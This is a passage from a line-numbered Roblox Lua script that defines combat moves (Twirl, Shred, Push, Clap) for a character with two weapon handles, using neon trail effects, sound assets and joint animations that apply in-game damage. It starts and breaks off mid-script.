  3805. local Mag =(Old -New).magnitude
  3806. local Dis =(Old +New)/2
  3807. local Trail = Instance.new("Part",Character)
  3808. Trail.Material = "Neon"
  3809. Trail.Anchored = true
  3810. Trail.CanCollide = false
  3811. Trail.BrickColor = TorsoColor
  3812. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3813. Trail.TopSurface = 0
  3814. Trail.BottomSurface = 0
  3815. Trail.formFactor = "Custom"
  3816. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3817. local ms = Instance.new("BlockMesh",Trail)
  3818. ms.Scale = Vector3.new(1,1,1)
  3819. local TM = Instance.new("CylinderMesh",Trail)
  3820. TM.Scale = Vector3.new(1,1,1)
  3821. Old = New
  3822. coroutine.wrap(function()
  3823. for i = 1,0,-0.1 do
  3824. wait()
  3825. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3826. end
  3827. Trail:remove()
  3828. end)()
  3829. coroutine.wrap(function()
  3830. for i = 1,10 do
  3831. wait()
  3832. Trail.Transparency = Trail.Transparency +0.1
  3833. end end)()end end)()
  3834. Footsteps:Stop()
  3835. Footsteps2:Stop()
  3836. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3837. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3838. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3839. for i=0,1,0.1 do
  3840. swait()
  3841. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3842. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3843. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3844. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3845. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3846. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3847. end
  3848. if anim then
  3849. anim.Disabled=true
  3850. end
  3851. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3852. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3853. for i=0,1,0.05 do
  3854. swait()
  3855. Torso.Velocity=RootPart.CFrame.lookVector*100
  3856. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3857. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3858. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3859. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3860. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3861. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3862. end
  3863. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3864. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3865. for i=0,1,0.05 do
  3866. swait()
  3867. Torso.Velocity=RootPart.CFrame.lookVector*100
  3868. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3869. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3870. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3871. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3872. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3873. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3874. end
  3875. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3876. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3877. for i=0,1,0.05 do
  3878. swait()
  3879. Torso.Velocity=RootPart.CFrame.lookVector*100
  3880. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3881. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3882. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3883. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3884. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3885. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3886. end
  3887. --dmgstop()
  3888. Humanoid.WalkSpeed=15
  3889. attack=false
  3890. con1:disconnect()
  3891. con2:disconnect()
  3892. if anim then
  3893. anim.Disabled=false
  3894. end
  3895. if TrailDeb == true then
  3896. TrailDeb = false
  3897. end
  3898. end
  3899.  
  3900. function Twirl()
  3901. mana=mana-50
  3902. attack=true
  3903. if TrailDeb == false then
  3904. TrailDeb = true
  3905. end
  3906.  
  3907.  
  3908. coroutine.wrap(function()
  3909. local Old = Handle2.CFrame.p
  3910. while wait()do
  3911. if not TrailDeb then break end
  3912. local New = Handle2.CFrame.p
  3913. local Mag =(Old -New).magnitude
  3914. local Dis =(Old +New)/2
  3915. local Trail = Instance.new("Part",Character)
  3916. Trail.Material = "Neon"
  3917. Trail.Anchored = true
  3918. Trail.CanCollide = false
  3919. Trail.BrickColor = TorsoColor
  3920. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3921. Trail.TopSurface = 0
  3922. Trail.BottomSurface = 0
  3923. Trail.formFactor = "Custom"
  3924. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3925. local ms = Instance.new("BlockMesh",Trail)
  3926. ms.Scale = Vector3.new(1,1,1)
  3927. local TM = Instance.new("CylinderMesh",Trail)
  3928. TM.Scale = Vector3.new(1,1,1)
  3929. Old = New
  3930. coroutine.wrap(function()
  3931. for i = 1,0,-0.1 do
  3932. wait()
  3933. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3934. end
  3935. Trail:remove()
  3936. end)()
  3937. coroutine.wrap(function()
  3938. for i = 1,10 do
  3939. wait()
  3940. Trail.Transparency = Trail.Transparency +0.1
  3941. end end)()end end)()
  3942. coroutine.wrap(function()
  3943. local Old = Handle.CFrame.p
  3944. while wait()do
  3945. if not TrailDeb then break end
  3946. local New = Handle.CFrame.p
  3947. local Mag =(Old -New).magnitude
  3948. local Dis =(Old +New)/2
  3949. local Trail = Instance.new("Part",Character)
  3950. Trail.Material = "Neon"
  3951. Trail.Anchored = true
  3952. Trail.CanCollide = false
  3953. Trail.BrickColor = TorsoColor
  3954. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3955. Trail.TopSurface = 0
  3956. Trail.BottomSurface = 0
  3957. Trail.formFactor = "Custom"
  3958. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3959. local ms = Instance.new("BlockMesh",Trail)
  3960. ms.Scale = Vector3.new(1,1,1)
  3961. local TM = Instance.new("CylinderMesh",Trail)
  3962. TM.Scale = Vector3.new(1,1,1)
  3963. Old = New
  3964. coroutine.wrap(function()
  3965. for i = 1,0,-0.1 do
  3966. wait()
  3967. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3968. end
  3969. Trail:remove()
  3970. end)()
  3971. coroutine.wrap(function()
  3972. for i = 1,10 do
  3973. wait()
  3974. Trail.Transparency = Trail.Transparency +0.1
  3975. end end)()end end)()
  3976. Footsteps:Stop()
  3977. Footsteps2:Stop()
  3978. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3979. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(30,50),"Normal",RootPart,1.2,11) end)
  3980. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3981. for i=0,1,0.1 do
  3982. swait()
  3983. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3984. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3985. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3986. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3987. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3988. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3989. end
  3990. if anim then
  3991. anim.Disabled=true
  3992. end
  3993. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3994. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3995. for i=0,1,0.05 do
  3996. swait()
  3997. Torso.Velocity=RootPart.CFrame.lookVector*80
  3998. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3999. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4000. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4001. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4002. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4003. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4004. end
  4005. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4006. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4007. for i=0,1,0.05 do
  4008. swait()
  4009. Torso.Velocity=RootPart.CFrame.lookVector*80
  4010. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4011. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4012. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4013. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4014. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4015. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4016. end
  4017. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4018. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4019. for i=0,1,0.05 do
  4020. swait()
  4021. Torso.Velocity=RootPart.CFrame.lookVector*80
  4022. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4023. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4024. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4025. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4026. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4027. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4028. end
  4029. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4030. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4031. for i=0,1,0.05 do
  4032. swait()
  4033. Torso.Velocity=RootPart.CFrame.lookVector*80
  4034. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4035. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4036. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4037. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4038. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4039. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4040. end
  4041. --dmgstop()
  4042. Humanoid.WalkSpeed=15
  4043. attack=false
  4044. con1:disconnect()
  4045. con2:disconnect()
  4046. if anim then
  4047. anim.Disabled=false
  4048. end
  4049. if TrailDeb == true then
  4050. TrailDeb = false
  4051. end
  4052. end
  4053.  
  4054. function Shred()
  4055. attack=true
  4056. mana=mana-100
  4057. if TrailDeb == false then
  4058. TrailDeb = true
  4059. end
  4060.  
  4061.  
  4062. coroutine.wrap(function()
  4063. local Old = Handle2.CFrame.p
  4064. while wait()do
  4065. if not TrailDeb then break end
  4066. local New = Handle2.CFrame.p
  4067. local Mag =(Old -New).magnitude
  4068. local Dis =(Old +New)/2
  4069. local Trail = Instance.new("Part",Character)
  4070. Trail.Material = "Neon"
  4071. Trail.Anchored = true
  4072. Trail.CanCollide = false
  4073. Trail.BrickColor = TorsoColor
  4074. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4075. Trail.TopSurface = 0
  4076. Trail.BottomSurface = 0
  4077. Trail.formFactor = "Custom"
  4078. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4079. local ms = Instance.new("BlockMesh",Trail)
  4080. ms.Scale = Vector3.new(1,1,1)
  4081. local TM = Instance.new("CylinderMesh",Trail)
  4082. TM.Scale = Vector3.new(1,1,1)
  4083. Old = New
  4084. coroutine.wrap(function()
  4085. for i = 1,0,-0.1 do
  4086. wait()
  4087. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4088. end
  4089. Trail:remove()
  4090. end)()
  4091. coroutine.wrap(function()
  4092. for i = 1,10 do
  4093. wait()
  4094. Trail.Transparency = Trail.Transparency +0.1
  4095. end end)()end end)()
  4096. coroutine.wrap(function()
  4097. local Old = Handle.CFrame.p
  4098. while wait()do
  4099. if not TrailDeb then break end
  4100. local New = Handle.CFrame.p
  4101. local Mag =(Old -New).magnitude
  4102. local Dis =(Old +New)/2
  4103. local Trail = Instance.new("Part",Character)
  4104. Trail.Material = "Neon"
  4105. Trail.Anchored = true
  4106. Trail.CanCollide = false
  4107. Trail.BrickColor = TorsoColor
  4108. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4109. Trail.TopSurface = 0
  4110. Trail.BottomSurface = 0
  4111. Trail.formFactor = "Custom"
  4112. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4113. local ms = Instance.new("BlockMesh",Trail)
  4114. ms.Scale = Vector3.new(1,1,1)
  4115. local TM = Instance.new("CylinderMesh",Trail)
  4116. TM.Scale = Vector3.new(1,1,1)
  4117. Old = New
  4118. coroutine.wrap(function()
  4119. for i = 1,0,-0.1 do
  4120. wait()
  4121. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4122. end
  4123. Trail:remove()
  4124. end)()
  4125. coroutine.wrap(function()
  4126. for i = 1,10 do
  4127. wait()
  4128. Trail.Transparency = Trail.Transparency +0.1
  4129. end end)()end end)()
  4130. Footsteps:Stop()
  4131. Footsteps2:Stop()
  4132. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,40,50,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4133. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,40,50,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4134. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4135. for i=0,1,0.1 do
  4136. swait()
  4137. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4138. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4139. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4140. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4141. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4142. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4143. end
  4144. if anim then
  4145. anim.Disabled=true
  4146. end
  4147. for i=0,1,0.05 do
  4148. swait()
  4149. Torso.Velocity=RootPart.CFrame.lookVector*20
  4150. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4151. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4152. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4153. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4154. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4155. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4156. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4157. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4158. end
  4159. for i=0,1,0.05 do
  4160. swait()
  4161. Torso.Velocity=RootPart.CFrame.lookVector*40
  4162. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4163. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4164. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4165. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4166. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4167. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4168. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4169. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4170. end
  4171. for i=0,1,0.05 do
  4172. swait()
  4173. Torso.Velocity=RootPart.CFrame.lookVector*60
  4174. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4175. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4176. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4177. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4178. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4179. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4180. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4181. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4182. end
  4183. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4184. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4185. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4186. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4187. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4188. for i=0,1,0.05 do
  4189. swait()
  4190. Torso.Velocity=RootPart.CFrame.lookVector*80
  4191. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4192. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4193. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4194. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4195. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4196. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4197. end
  4198. for i=0,1,0.005 do
  4199. swait()
  4200. Torso.Velocity=RootPart.CFrame.lookVector*100
  4201. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4202. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4203. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4204. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4205. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4206. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4207. end
  4208. --dmgstop()
  4209. Humanoid.WalkSpeed=15
  4210. attack=false
  4211. con1:disconnect()
  4212. con2:disconnect()
  4213. if anim then
  4214. anim.Disabled=false
  4215. end
  4216. if TrailDeb == true then
  4217. TrailDeb = false
  4218. end
  4219. end
  4220.  
  4221. function Push()
  4222. attack=true
  4223. mana=mana-20
  4224. if TrailDeb == false then
  4225. TrailDeb = true
  4226. end
  4227.  
  4228.  
  4229. coroutine.wrap(function()
  4230. local Old = Handle2.CFrame.p
  4231. while wait()do
  4232. if not TrailDeb then break end
  4233. local New = Handle2.CFrame.p
  4234. local Mag =(Old -New).magnitude
  4235. local Dis =(Old +New)/2
  4236. local Trail = Instance.new("Part",Character)
  4237. Trail.Material = "Neon"
  4238. Trail.Anchored = true
  4239. Trail.CanCollide = false
  4240. Trail.BrickColor = TorsoColor
  4241. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4242. Trail.TopSurface = 0
  4243. Trail.BottomSurface = 0
  4244. Trail.formFactor = "Custom"
  4245. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4246. local ms = Instance.new("BlockMesh",Trail)
  4247. ms.Scale = Vector3.new(1,1,1)
  4248. local TM = Instance.new("CylinderMesh",Trail)
  4249. TM.Scale = Vector3.new(1,1,1)
  4250. Old = New
  4251. coroutine.wrap(function()
  4252. for i = 1,0,-0.1 do
  4253. wait()
  4254. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4255. end
  4256. Trail:remove()
  4257. end)()
  4258. coroutine.wrap(function()
  4259. for i = 1,10 do
  4260. wait()
  4261. Trail.Transparency = Trail.Transparency +0.1
  4262. end end)()end end)()
  4263. coroutine.wrap(function()
  4264. local Old = Handle.CFrame.p
  4265. while wait()do
  4266. if not TrailDeb then break end
  4267. local New = Handle.CFrame.p
  4268. local Mag =(Old -New).magnitude
  4269. local Dis =(Old +New)/2
  4270. local Trail = Instance.new("Part",Character)
  4271. Trail.Material = "Neon"
  4272. Trail.Anchored = true
  4273. Trail.CanCollide = false
  4274. Trail.BrickColor = TorsoColor
  4275. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4276. Trail.TopSurface = 0
  4277. Trail.BottomSurface = 0
  4278. Trail.formFactor = "Custom"
  4279. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4280. local ms = Instance.new("BlockMesh",Trail)
  4281. ms.Scale = Vector3.new(1,1,1)
  4282. local TM = Instance.new("CylinderMesh",Trail)
  4283. TM.Scale = Vector3.new(1,1,1)
  4284. Old = New
  4285. coroutine.wrap(function()
  4286. for i = 1,0,-0.1 do
  4287. wait()
  4288. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4289. end
  4290. Trail:remove()
  4291. end)()
  4292. coroutine.wrap(function()
  4293. for i = 1,10 do
  4294. wait()
  4295. Trail.Transparency = Trail.Transparency +0.1
  4296. end end)()end end)()
  4297. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4298. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(30,50),"Normal",RootPart,1.2,11) end)
  4299. for i=0,1,0.1 do
  4300. swait()
  4301. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4302. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4303. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4304. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4305. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4306. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4307. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4308. end
  4309. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4310. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4311. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4312. for i=0,1,0.1 do
  4313. swait()
  4314. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4315. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4316. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4317. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4318. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4319. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4320. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4321. end
  4322. --dmgstop()
  4323. attack=false
  4324. con1:disconnect()
  4325. con2:disconnect()
  4326. if TrailDeb == true then
  4327. TrailDeb = false
  4328. end
  4329. end
  4330.  
  4331. function Clap()
  4332. attack=true
  4333. mana=mana-20
  4334. if TrailDeb == false then
  4335. TrailDeb = true
  4336. end
  4337.  
  4338.  
  4339. coroutine.wrap(function()
  4340. local Old = Handle2.CFrame.p
  4341. while wait()do
  4342. if not TrailDeb then break end
  4343. local New = Handle2.CFrame.p
  4344. local Mag =(Old -New).magnitude
  4345. local Dis =(Old +New)/2
  4346. local Trail = Instance.new("Part",Character)
  4347. Trail.Material = "Neon"
  4348. Trail.Anchored = true
  4349. Trail.CanCollide = false
  4350. Trail.BrickColor = TorsoColor
  4351. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4352. Trail.TopSurface = 0
